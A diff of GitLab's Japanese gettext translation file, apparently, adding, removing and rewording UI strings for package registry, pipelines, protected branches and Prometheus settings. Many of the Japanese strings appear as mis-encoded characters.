@@ -21777,13 +21465,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -21979,9 +21667,6 @@ msgstr "æ–°è¦ã‚¤ã‚·ãƒ¥ãƒ¼ã®ã‚¿ã‚¤ãƒˆãƒ«"
msgid "New iteration"
msgstr "æ–°è¦ã‚¤ãƒ†ãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³"
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr "æ–°è¦ã‚¤ãƒ†ãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãŒä½œæˆã•ã‚Œã¾ã—ãŸ"
@@ -22000,7 +21685,7 @@ msgstr "æ–°ã—ã„マイルストーン"
msgid "New password"
msgstr "æ–°ã—ã„パスワード"
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr ""
msgid "No repository"
msgstr "リãƒã‚¸ãƒˆãƒªãŒã‚ã‚Šã¾ã›ã‚“"
-msgid "No required pipeline"
-msgstr "必須パイプラインãªã—"
-
msgid "No runner executable"
msgstr ""
@@ -22498,9 +22180,6 @@ msgstr "何も見ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸâ€¦"
msgid "Nothing to preview."
msgstr "プレビューã§ãã‚‹ã‚‚ã®ã¯ä½•ã‚‚ã‚ã‚Šã¾ã›ã‚“。"
-msgid "Nothing to synchronize"
-msgstr "åŒæœŸã™ã‚‹ã‚‚ã®ã¯ã‚ã‚Šã¾ã›ã‚“"
-
msgid "Notification events"
msgstr "イベント通知"
@@ -22631,9 +22310,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr "NuGet セットアップコマンドをコピー"
msgid "PackageRegistry|Copy Pip command"
msgstr "pip コマンドをコピー"
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr "Yarn 設定コマンドã®ã‚³ãƒ”ー"
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr "パッケージãƒãƒ¼ã‚¸ãƒ§ãƒ³ã®å‰Šé™¤"
@@ -23403,9 +23088,6 @@ msgstr "Pypiã®ãƒ¬ã‚¸ã‚¹ãƒˆãƒªã®è©³ç´°ã«ã¤ã„ã¦ã¯ã€ %{linkStart}ドキュã
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr "NuGet コマンド"
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr "pip コマンド"
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23550,6 +23241,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr "パッケージを読ã¿è¾¼ã‚ã¾ã›ã‚“"
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23742,9 +23439,6 @@ msgstr "åœæ­¢"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr "レプリケーションã®ä¸€æ™‚åœæ­¢"
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "åˆè¨ˆ:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr "親"
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,14 +24096,14 @@ msgstr "ステージã‚ã‚Š"
msgid "Pipeline|with stages"
msgstr "ステージã‚ã‚Š"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "自動的ã«æ¤œæŸ»ã™ã‚‹ã€ã‚«ãƒ³ãƒžåŒºåˆ‡ã‚Šã®ãƒ–ランãƒãƒªã‚¹ãƒˆã€‚ã™ã¹ã¦ã®ãƒ–ランãƒã‚’対象ã«å«ã‚ã‚‹ã«ã¯ç©ºç™½ã®ã¾ã¾ã«ã—ã¾ã™ã€‚"
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
+msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
-msgstr "Pivotal Tracker APIトークン。"
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
+msgstr ""
msgid "Plain diff"
msgstr "テキスト差分"
@@ -24447,12 +24147,12 @@ msgstr "設定ファイルを調ã¹ã¦ã€ãƒãƒ£ãƒ¼ãƒˆã®ã‚»ãƒƒãƒˆãŒå®£è¨€ã•ã‚Œ
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr "設定ファイルをãƒã‚§ãƒƒã‚¯ã—ã¦ã€ãã‚ŒãŒä½¿ç”¨å¯èƒ½ã§ã‹ã¤ã€YAMLãŒæœ‰åŠ¹ã§ã‚ã‚‹ã“ã¨ã‚’確èªã—ã¦ãã ã•ã„"
+msgid "Please check your email %{email} to confirm your account"
+msgstr ""
+
msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr "é›»å­ãƒ¡ãƒ¼ãƒ«ï¼ˆ%{email})をãƒã‚§ãƒƒã‚¯ã—ã¦ã€ã“ã®ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’所有ã—ã¦ã„ã‚‹ã“ã¨ã‚’確èªã—ã€CI/CDã®ãƒ­ãƒƒã‚¯ã‚’解除ã—ã¦ãã ã•ã„。電å­ãƒ¡ãƒ¼ãƒ«ã‚’å—ã‘å–ã£ã¦ã„ãªã„? %{resend_link} メールアドレスを間é•ã£ã¦ã„ã¾ã›ã‚“ã‹ï¼Ÿ %{update_link}"
-msgid "Please check your email to confirm your account"
-msgstr ""
-
msgid "Please choose a file"
msgstr ""
@@ -24462,6 +24162,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr "ã‚ãªãŸã®ãƒ—ロフィールã«ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ã‚’記入ã—ã¦ã€ãƒ—ロファイルを完了ã—ã¦ãã ã•ã„"
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25074,6 +24780,9 @@ msgstr "プロフィールを編集"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr "ä»–ã®äººãŒã‚ãªãŸã ã¨ã‚ã‹ã‚‹åå‰ã‚’入力ã—ã¦ãã ã•ã„。"
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr "'%{project_name}' プロジェクトã¯%{date} ã«å‰Šé™¤ã—ã¾ã™ã€‚"
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr "プロジェクトãƒãƒƒã‚¸"
@@ -25389,6 +25095,9 @@ msgstr "プロジェクトã¯æ—¢ã«å‰Šé™¤ã•ã‚Œã¦ã„ã¾ã™"
msgid "Project and wiki repositories"
msgstr "プロジェクトã¨wikiã®ãƒªãƒã‚¸ãƒˆãƒª"
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "プロジェクトアãƒã‚¿ãƒ¼"
@@ -25401,9 +25110,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr "プロジェクトã®èª¬æ˜Ž(オプション)"
-msgid "Project details"
-msgstr "プロジェクトã®è©³ç´°"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr "プロジェクトãŒå­˜åœ¨ã—ã¾ã›ã‚“。ã¾ãŸã¯ã€ã“ã®ã‚¢ã‚¯ã‚·ãƒ§ãƒ³ã‚’実行ã™ã‚‹æ¨©é™ãŒã‚ã‚Šã¾ã›ã‚“"
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr "ローカルストレージãŒåˆ©ç”¨ã§ããªã„ãŸã‚ã€ãƒ—ロジェクトã®é †åºã¯ä¿å­˜ã•ã‚Œã¾ã›ã‚“。"
-msgid "Project overview"
-msgstr "プロジェクトã®æ¦‚è¦"
-
msgid "Project path"
msgstr "プロジェクトパス"
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr "プロジェクトã®ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£çŠ¶æ…‹"
@@ -25509,9 +25209,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "記録ãªã—"
-msgid "ProjectLifecycle|Stage"
-msgstr "ステージ"
-
msgid "ProjectOverview|Fork"
msgstr "フォーク"
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr "テンプレートã‹ã‚‰ä½œæˆ"
@@ -26145,9 +25839,6 @@ msgstr "インãƒãƒ¼ãƒˆ"
msgid "ProjectsNew|Import project"
msgstr "プロジェクトã®ã‚¤ãƒ³ãƒãƒ¼ãƒˆ"
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr "リãƒã‚¸ãƒˆãƒªã‚’åˆæœŸåŒ–ã—READMEファイルを生æˆã™ã‚‹"
@@ -26232,21 +25923,18 @@ msgstr "%{metrics} ã® %{exporters} ãŒè¦‹ã¤ã‹ã‚Šã¾ã—ãŸ"
msgid "PrometheusService|Active"
msgstr "アクティブ"
-msgid "PrometheusService|Auto configuration"
-msgstr "自動設定"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "共通メトリクス"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr "共通メトリクスã¯ã€ä¸€èˆ¬çš„ãªã‚¨ã‚¯ã‚¹ãƒãƒ¼ã‚¿ã‹ã‚‰ã®ãƒ¡ãƒˆãƒªã‚¯ã‚¹ã®ãƒ©ã‚¤ãƒ–ラリã«åŸºã¥ã„ã¦ã€è‡ªå‹•çš„ã«ç›£è¦–ã•ã‚Œã¾ã™ã€‚"
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr "カスタムメトリクス"
@@ -26262,18 +25950,9 @@ msgstr "メトリクスã®æ¤œç´¢ã¨è¨­å®š..."
msgid "PrometheusService|Finding custom metrics..."
msgstr "カスタムメトリクスを検索..."
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "クラスター㫠Prometheus をインストール"
-
msgid "PrometheusService|Manage clusters"
msgstr "クラスター管ç†"
@@ -26289,9 +25968,6 @@ msgstr "未設定ã®ç’°å¢ƒå¤‰æ•°"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "詳細情報"
@@ -26304,6 +25980,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "カスタムメトリックã¯ä½œæˆã•ã‚Œã¦ã„ã¾ã›ã‚“。 上ã®ãƒœã‚¿ãƒ³ã‚’使用ã—ã¦ä½œæˆã—ã¦ãã ã•ã„"
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr "環境ã«æœ€åˆã®ãƒ‡ãƒ—ロイãŒã•ã‚Œã¦ã‹ã‚‰ã€ã“れらã®ãƒ¡ãƒˆãƒªã‚¯ã‚¹ã§ç›£è¦–ã—ã¾ã™"
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr "共通メトリックãŒæ§‹ç¯‰ç’°å¢ƒã¸å±•é–‹ã•ã‚Œã‚‹ã®ã‚’å¾…ã£ã¦ã„
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr "%{operations_link_start}オペレーション%{operations_link_end} ページ㧠Prometheus ã®è¨­å®šã‚’管ç†ã§ãるよã†ã«ãªã‚Šã¾ã—ãŸã€‚ã“ã®ãƒšãƒ¼ã‚¸ã®ãƒ•ã‚£ãƒ¼ãƒ«ãƒ‰ã¯å»ƒæ­¢ã•ã‚Œã¾ã—ãŸã€‚"
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr "昇格"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr "éžå…¬é–‹ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’公開エピックã«æ˜‡æ ¼ã™ã‚‹"
-
msgid "Promote issue to an epic"
msgstr "イシューをエピックã«æ˜‡æ ¼"
@@ -26358,9 +26037,6 @@ msgstr "プロジェクトãŒã‚°ãƒ«ãƒ¼ãƒ—ã«å±žã—ã¦ã„ã¾ã›ã‚“。"
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr "プロモートã«å¤±æ•—ã—ã¾ã—㟠- %{message}"
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr "éžå…¬é–‹ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’公開エピックã«æ˜‡æ ¼ã—ã¾ã—ãŸã€‚エピックã¯ã‚°ãƒ«ãƒ¼ãƒ—メンãƒãƒ¼ã«å…¬é–‹ã•ã‚Œã‚‹ãŸã‚ã€ã“ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã®æƒ…å ±ã¯éžå…¬é–‹ã§ã¯ãªããªã‚Šã¾ã—ãŸã€‚"
-
msgid "Promoted issue to an epic."
msgstr "イシューをエピックã«æ˜‡æ ¼æ¸ˆã¿"
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr "ブランãƒ"
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr "コードオーナーã®æ‰¿èª"
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr "ä¿è­·"
@@ -26526,6 +26214,9 @@ msgstr "ブランãƒã‚’ä¿è­·"
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr "ä¿è­·ãƒ–ランム(%{protected_branches_count})"
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr "コード所有者ã®æ‰¿èªãŒå¿…è¦ï¼š"
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "ç¾åœ¨ä¿è­·ãƒ–ランãƒãŒã‚ã‚Šã¾ã›ã‚“。上ã®ãƒ•ã‚©ãƒ¼ãƒ ã§ãƒ–ランãƒã‚’ä¿è­·ã—ã¦ãã ã•ã„。"
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr "コード所有者ã®æ‰¿èªã®åˆ‡ã‚Šæ›¿ãˆ"
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} ã¯é–‹ç™ºè€…権é™ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒæ›¸ãè¾¼ã¿å¯èƒ½ã«ãªã‚Šã¾ã™ã€‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
@@ -26586,18 +26280,30 @@ msgstr "ã‚ãªãŸã®ç’°å¢ƒã¯ä¿è­·ã•ã‚Œã¦ã„ã¾ã™ã€‚"
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr "ã‚ãªãŸã®ç’°å¢ƒã¯ä¿è­·ã•ã‚Œã¦ã„ã¾ã›ã‚“。ã¾ãŸã¯ä¿è­·ãŒè§£é™¤ã•ã‚Œã¦ã„ã¾ã™ã€‚"
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Protocol"
-msgstr "プロトコル"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
-msgid "Provide feedback"
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "プロãƒã‚¤ãƒ€ãƒ¼"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr "2è¦ç´ èªè¨¼ã‚¢ãƒ—リã§ç™»éŒ²"
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27028,6 +26737,9 @@ msgstr ""
msgid "Related Issues"
msgstr "関連ã™ã‚‹ã‚¤ã‚·ãƒ¥ãƒ¼"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27206,6 +26918,9 @@ msgstr ""
msgid "Remove limit"
msgstr "制é™ã®è§£é™¤"
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27221,15 +26936,9 @@ msgstr ""
msgid "Remove milestone"
msgstr "マイルストーンを削除"
-msgid "Remove node"
-msgstr "ノードを削除"
-
msgid "Remove parent epic from an epic"
msgstr "エピックã‹ã‚‰è¦ªã‚¨ãƒ”ックを削除"
-msgid "Remove primary node"
-msgstr "プライマリノードã®å‰Šé™¤"
-
msgid "Remove priority"
msgstr "優先度を削除"
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr "セカンダリノードã®å‰Šé™¤"
-
msgid "Remove spent time"
msgstr "作業時間ã®å‰Šé™¤"
@@ -27395,15 +27101,18 @@ msgstr "ã“ã® %{quick_action_target} ã‚’å†ã³é–‹ã„ãŸã€‚"
msgid "Reopens this %{quick_action_target}."
msgstr "ã“ã® %{quick_action_target} ã‚’å†ã³é–‹ã。"
-msgid "Repair authentication"
-msgstr "èªè¨¼ã®ä¿®å¾©"
-
msgid "Replace"
msgstr "ç½®ãæ›ãˆ"
+msgid "Replace %{name}"
+msgstr ""
+
msgid "Replace all label(s)"
msgstr "ã™ã¹ã¦ã®ãƒ©ãƒ™ãƒ«ã‚’ç½®æ›"
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27413,15 +27122,6 @@ msgstr "クローンURLã®ãƒ«ãƒ¼ãƒˆã‚’ç½®ãæ›ãˆã‚‹ã€‚"
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr "メールã¸ã®è¿”ä¿¡"
@@ -27815,6 +27515,9 @@ msgstr[0] "もㆠ%d 件ã®æ‰¿èªãŒå¿…è¦ã§ã™ã€‚"
msgid "Requires values to meet regular expression requirements."
msgstr "æ­£è¦è¡¨ç¾ã®æ¡ä»¶ã‚’満ãŸã™å€¤ãŒå¿…è¦ã§ã™ã€‚"
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr "å†é–‹"
msgid "Resync"
msgstr "å†åŒæœŸ"
-msgid "Resync all"
-msgstr "ã™ã¹ã¦ã‚’å†åŒæœŸ"
-
-msgid "Resync all %{replicableType}"
-msgstr "ã™ã¹ã¦ã® %{replicableType} ã‚’å†åŒæœŸ"
-
msgid "Retry"
msgstr "å†è©¦è¡Œ"
@@ -27986,9 +27683,6 @@ msgstr "ジョブをå†è©¦è¡Œã—ã¦ãã ã•ã„"
msgid "Retry this job in order to create the necessary resources."
msgstr "å¿…è¦ãªãƒªã‚½ãƒ¼ã‚¹ã‚’作æˆã™ã‚‹ãŸã‚ã«ã“ã®ã‚¸ãƒ§ãƒ–ã‚’å†è©¦è¡Œã—ã¦ãã ã•ã„。"
-msgid "Retry update"
-msgstr "å†æ›´æ–°"
-
msgid "Retry verification"
msgstr "検証をå†è©¦è¡Œã—ã¦ãã ã•ã„"
@@ -28081,6 +27775,9 @@ msgstr "追加中"
msgid "RightSidebar|deleting the"
msgstr "削除中"
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "ロードマップ"
@@ -28090,9 +27787,6 @@ msgstr "役割"
msgid "Rollback"
msgstr "ロールãƒãƒƒã‚¯"
-msgid "Rook"
-msgstr "Rook"
-
msgid "Ruby"
msgstr "Ruby"
@@ -28159,12 +27853,21 @@ msgstr "Runner ã®ãƒšãƒ¼ã‚¸ã€‚"
msgid "Runners|Active"
msgstr ""
